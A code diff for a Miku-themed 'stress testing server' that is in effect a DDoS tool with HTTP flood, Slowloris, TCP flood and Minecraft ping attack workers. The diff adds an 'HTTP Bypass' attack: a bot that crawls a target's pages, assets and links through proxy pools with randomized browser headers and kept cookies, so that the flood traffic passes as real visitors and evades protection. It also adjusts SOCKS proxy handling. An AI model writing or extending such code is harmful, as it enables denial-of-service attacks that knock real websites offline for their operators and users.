diff --git a/README.md b/README.md
index 211d5ff..48ac733 100644
--- a/README.md
+++ b/README.md
@@ -15,6 +15,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
- 🖼️ **Aesthetic Design**: A visually cute interface to make your experience enjoyable. 🌸
- 📡 **Attack Methods:**:
- `HTTP Flood` - Send random HTTP requests
+ - `HTTP Bypass` - Send HTTP requests that mimics real requests (Redirects, cookies, headers, resources...)
- `HTTP Slowloris` - Send HTTP requests and keep the connection open
- `Minecraft Ping` - Send Minecraft ping/motd requests
- `TCP Flood` - Send random TCP packets
diff --git a/server/index.ts b/server/index.ts
index 7f4a623..c4ac246 100644
--- a/server/index.ts
+++ b/server/index.ts
@@ -14,6 +14,7 @@ import { filterProxies } from "./proxyUtils";
// Define the workers based on attack type
const attackWorkers: { [key in AttackMethod]: string } = {
http_flood: "./workers/httpFloodAttack.js",
+ http_bypass: "./workers/httpBypassAttack.js",
http_slowloris: "./workers/httpSlowlorisAttack.js",
tcp_flood: "./workers/tcpFloodAttack.js",
minecraft_ping: "./workers/minecraftPingAttack.js",
diff --git a/server/lib.ts b/server/lib.ts
index e69b7dd..9b40e26 100644
--- a/server/lib.ts
+++ b/server/lib.ts
@@ -10,6 +10,7 @@ export interface Proxy {
export type AttackMethod =
| "http_flood"
+ | "http_bypass"
| "http_slowloris"
| "tcp_flood"
| "minecraft_ping";
diff --git a/server/proxyUtils.ts b/server/proxyUtils.ts
index 49bf1cf..75bbbd4 100644
--- a/server/proxyUtils.ts
+++ b/server/proxyUtils.ts
@@ -14,6 +14,7 @@ const COMMON_PORTS: { [port: number]: ProxyProtocol } = {
const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = {
http_flood: ["http", "https", "socks4", "socks5"],
+ http_bypass: ["http", "https", "socks4", "socks5"],
http_slowloris: ["socks4", "socks5"],
tcp_flood: ["socks4", "socks5"],
minecraft_ping: ["socks4", "socks5"],
diff --git a/server/utils/clientUtils.js b/server/utils/clientUtils.js
index a9153cf..0918050 100644
--- a/server/utils/clientUtils.js
+++ b/server/utils/clientUtils.js
@@ -19,13 +19,14 @@ export function createAgent(proxy) {
// HTTP Client
export function createMimicHttpClient(proxy, userAgent) {
- return axios.create({
+ return createHttpClient({
headers: { "User-Agent": userAgent },
proxy,
timeout: 5000,
validateStatus: (status) => {
return status < 500;
},
+ maxRedirects: 3,
});
}
@@ -39,15 +40,11 @@ export function createHttpClient(
validateStatus: (status) => {
return status < 500;
},
- proxy: {
- protocol: "http",
- host: "127.0.0.1",
- port: 1080,
- },
+ maxRedirects: 0,
+ proxy: {},
}
) {
const config = { ...clientConfig };
- const client = axios.create(config);
const proxy = config.proxy;
if (proxy.protocol == "http" || proxy.protocol == "https") {
@@ -57,13 +54,17 @@ export function createHttpClient(
auth: proxy.username ? { username: proxy.username } : null,
};
} else if (proxy.protocol == "socks4" || proxy.protocol == "socks5") {
- config.httpAgent = createAgent(proxy);
+ const agent = createAgent(proxy);
+ config.proxy = false;
+ config.httpAgent = agent;
+ config.httpsAgent = agent;
} else {
throw new Error(
"Unsupported proxy protocol for HTTP client: " + proxy.protocol
);
}
+ const client = axios.create(config);
return client;
}
diff --git a/server/utils/httpBot.js b/server/utils/httpBot.js
new file mode 100644
index 0000000..9c4835e
--- /dev/null
+++ b/server/utils/httpBot.js
@@ -0,0 +1,212 @@
+import { load as cheerioLoad } from "cheerio"; // For parsing HTML
+
+import { createHttpClient } from "./clientUtils.js";
+import { randomInteger } from "./randomUtils.js";
+
+export default class HTTPBot {
+ constructor({
+ proxy = null,
+ userAgent = "Mozilla/5.0",
+ headers = {},
+ followRedirects = true,
+ responseCallback = null,
+ } = {}) {
+ this.visitedUrls = new Set(); // To avoid revisiting the same URL multiple times
+ this.running = false;
+
+ // Default headers
+ this.defaultHeaders = {
+ "User-Agent": userAgent,
+ Accept:
+ "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
+ "Accept-Language": "en-US,en;q=0.5",
+ "Accept-Encoding": "gzip, deflate, br",
+ Connection: "keep-alive",
+ ...headers, // Override default headers if custom headers are passed
+ };
+
+ // Create Axios instance with optional proxy and cookie handling
+ this.axiosInstance = createHttpClient({
+ headers: this.defaultHeaders,
+ proxy,
+ timeout: 10000,
+ maxRedirects: followRedirects ? 5 : 0,
+ validateStatus: (status) => {
+ return status < 500;
+ },
+ });
+
+ this.cookies = {}; // Store cookies from responses
+ this.responseCallback = responseCallback;
+ }
+
+ // Main function that starts the cycle
+ startCycle(url) {
+ this.running = true;
+ this.runCycle(url);
+ }
+
+ // Perform the cycle recursively with setTimeout to avoid blocking
+ async runCycle(url) {
+ if (!this.running) return; // Exit if the bot is not running
+
+ const runNextCycle = async () => {
+ // Wait for a random time between 2 to 10 seconds before starting the next cycle
+ const randomWait = randomInteger(2000, 10000);
+ await this.sleep(randomWait);
+
+ // Start the next cycle
+ this.runCycle(url);
+ };
+
+ try {
+ // Perform a GET request to the main URL
+ const mainResponse = await this.getRequest(url, true);
+ if (!mainResponse) {
+ runNextCycle();
+ return;
+ }
+
+ const $ = cheerioLoad(mainResponse.data);
+
+ // Get all assets (CSS, JS, IMG)
+ const assets = this.getAssets($, url);
+
+ // Download all assets
+ for (let asset of assets) {
+ await this.getRequest(asset);
+ }
+
+ // Get all links and make GET requests to each one with a delay
+ const links = this.getLinks($, url);
+ const linkPromises = links.map((link) => this.getRequest(link));
+
+ // Wait for all links to be processed
+ await Promise.all(linkPromises);
+
+ // Run the next cycle
+ runNextCycle();
+ } catch (err) {
+ if (this.responseCallback) {
+ this.responseCallback(err);
+ }
+ }
+ }
+
+ // Makes a GET request with Axios and handles errors
+ async getRequest(url, bypassAlreadyVisited = false) {
+ if (!bypassAlreadyVisited) {
+ if (this.visitedUrls.has(url)) {
+ // console.log(`Skipping already visited URL: ${url}`);
+ return;
+ }
+
+ this.visitedUrls.add(url);
+ }
+
+ try {
+ // console.log(`Requesting: ${url}`);
+ const response = await this.axiosInstance.get(url);
+ if (this.responseCallback) {
+ this.responseCallback();
+ }
+
+ // Handle cookies from response headers
+ this.handleCookies(response.headers["set-cookie"]);
+
+ // Wait between 2 to 5 seconds after each request
+ await this.sleep(randomInteger(100, 1000));
+ return response;
+ } catch (error) {
+ if (this.responseCallback) {
+ this.responseCallback(error);
+ }
+ }
+ }
+
+ // Handle cookies by storing them and attaching them to future requests
+ handleCookies(setCookieHeader) {
+ if (setCookieHeader) {
+ setCookieHeader.forEach((cookie) => {
+ const cookieParts = cookie.split(";")[0]; // Get the cookie before the first ';'
+ const [cookieName, cookieValue] = cookieParts.split("=");
+ this.cookies[cookieName] = cookieValue;
+ });
+
+ // Add the cookies to the headers for the next request
+ this.axiosInstance.defaults.headers["Cookie"] = Object.entries(
+ this.cookies
+ )
+ .map(([key, value]) => `${key}=${value}`)
+ .join("; ");
+ }
+ }
+
+ // Extracts all assets (CSS, JS, IMG) from the HTML
+ getAssets($, target) {
+ let assets = [];
+ $('link[rel="stylesheet"], script[src], img[src]').each((i, el) => {
+ const src = $(el).attr("href") || $(el).attr("src");
+ if (src) assets.push(src);
+ });
+
+ // Normalize assets by target
+ assets = assets.map((asset) => {
+ if (asset.startsWith("../")) {
+ asset = asset.slice(3);
+ }
+
+ if (asset.startsWith("./")) {
+ asset = asset.slice(2);
+ }
+
+ if (asset.startsWith("/")) {
+ asset = asset.slice(1);
+ }
+
+ if (asset.includes("://")) return asset;
+ return `${target}/${asset}`;
+ });
+
+ return assets;
+ }
+
+ // Extracts all links to make GET requests to each one
+ getLinks($, target) {
+ let links = [];
+ $("a[href]").each((i, el) => {
+ const href = $(el).attr("href");
+ if (href) links.push(href);
+ });
+
+ // Normalize links by target
+ links = links.map((link) => {
+ if (link.startsWith("../")) {
+ link = link.slice(3);
+ }
+
+ if (link.startsWith("./")) {
+ link = link.slice(2);
+ }
+
+ if (link.startsWith("/")) {
+ link = link.slice(1);
+ }
+
+ if (link.includes("://")) return link;
+ return `${target}/${link}`;
+ });
+
+ return links;
+ }
+
+ // Function to wait for a random amount of time
+ sleep(ms) {
+ return new Promise((resolve) => setTimeout(resolve, ms));
+ }
+
+ // Stop the cycle
+ stopCycle() {
+ this.running = false;
+ }
+}
diff --git a/server/utils/mcUtils.js b/server/utils/mcUtils.js
index 28dafb1..304c5f4 100644
--- a/server/utils/mcUtils.js
+++ b/server/utils/mcUtils.js
@@ -1,5 +1,5 @@
// Adapted from: https://github.com/Cryptkeeper/mcping-js/
-import { createTcpClient } from "./clientUtils";
+import { createTcpClient } from "./clientUtils.js";
class MinecraftProtocol {
static writeVarInt(val) {
diff --git a/server/utils/randomUtils.js b/server/utils/randomUtils.js
index 211243c..40e39c6 100644
--- a/server/utils/randomUtils.js
+++ b/server/utils/randomUtils.js
@@ -16,3 +16,7 @@ export function randomString(length) {
export function randomInteger(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
+
+export function randomItem(array) {
+ return array[Math.floor(Math.random() * array.length)];
+}
diff --git a/server/workers/httpBypassAttack.js b/server/workers/httpBypassAttack.js
new file mode 100644
index 0000000..5fbcd3d
--- /dev/null
+++ b/server/workers/httpBypassAttack.js
@@ -0,0 +1,92 @@
+import { parentPort, workerData } from "worker_threads";
+
+import HTTPBot from "../utils/httpBot.js";
+import { randomItem } from "../utils/randomUtils.js";
+
+const HTTP_ACCEPT_HEADERS = [
+ "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+ "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
+ "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+ "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+ "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+ "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+];
+
+const HTTP_LANGUAGE_HEADERS = [
+ "en-US,en;q=0.5",
+ "es-ES,en;q=0.5",
+ "fr-FR,en;q=0.5",
+ "de-DE,en;q=0.5",
+ "it-IT,en;q=0.5",
+ "pt-BR,en;q=0.5",
+];
+
+const HTTP_ENCODING_HEADERS = [
+ "gzip, deflate, br",
+ "gzip, deflate",
+ "gzip",
+ "deflate, br",
+ "deflate",
+ "br",
+];
+
+const startAttack = () => {
+ const { target, proxies, userAgents, duration } = workerData;
+ const fixedTarget = target.startsWith("http") ? target : `https://${target}`;
+
+ let totalPackets = 0;
+ const pool = new Set();
+
+ const createBot = (proxy) => {
+ const bot = new HTTPBot({
+ proxy,
+ userAgent: randomItem(userAgents),
+ followRedirects: true,
+ headers: {
+ Accept: randomItem(HTTP_ACCEPT_HEADERS),
+ "Accept-Language": randomItem(HTTP_LANGUAGE_HEADERS),
+ "Accept-Encoding": randomItem(HTTP_ENCODING_HEADERS),
+ Connection: "keep-alive",
+ "Upgrade-Insecure-Requests": "1",
+ },
+ responseCallback: (error) => {
+ if (error) {
+ parentPort.postMessage({
+ log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`,
+ totalPackets,
+ });
+ } else {
+ totalPackets++;
+ parentPort.postMessage({
+ log: `✅ Request successful from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
+ totalPackets,
+ });
+ }
+ },
+ });
+
+ pool.add(bot);
+ bot.startCycle(fixedTarget);
+ };
+
+ const createPool = () => {
+ proxies.forEach((proxy) => createBot(proxy));
+ };
+
+ const clearPool = () => {
+ pool.forEach((bot) => bot.stopCycle());
+ pool.clear();
+ };
+
+ setTimeout(() => {
+ clearPool();
+ parentPort.postMessage({ log: "Attack finished", totalPackets });
+ process.exit(0);
+ }, duration * 1000);
+
+ createPool();
+};
+
+if (workerData) {
+ startAttack();
+}
diff --git a/src/App.tsx b/src/App.tsx
index 4f41cc7..26e776d 100644
--- a/src/App.tsx
+++ b/src/App.tsx
@@ -2,7 +2,25 @@ import { Bot, ScrollText, Wand2, Wifi, Zap } from "lucide-react";
import { useEffect, useRef, useState } from "react";
import { io } from "socket.io-client";
-const socket = io("http://localhost:3000");
+function isHostLocal(host: string) {
+ return (
+ host === "localhost" ||
+ host === "127.0.0.1" ||
+ host.startsWith("::1") ||
+ host.startsWith("192.168") ||
+ host.startsWith("10.") ||
+ host.startsWith("172.")
+ );
+}
+
+function getSocketURL() {
+ const host = window.location.host.split(":")[0];
+ const isLocal = isHostLocal(host);
+ const socketURL = isLocal ? `http://${host}:3000` : "/";
+ return socketURL;
+}
+
+const socket = io(getSocketURL());
function ConfigureProxiesAndAgentsView() {
const [loadingConfiguration, setLoadingConfiguration] = useState(false);
@@ -369,6 +387,7 @@ function App() {
disabled={isAttacking}
>
+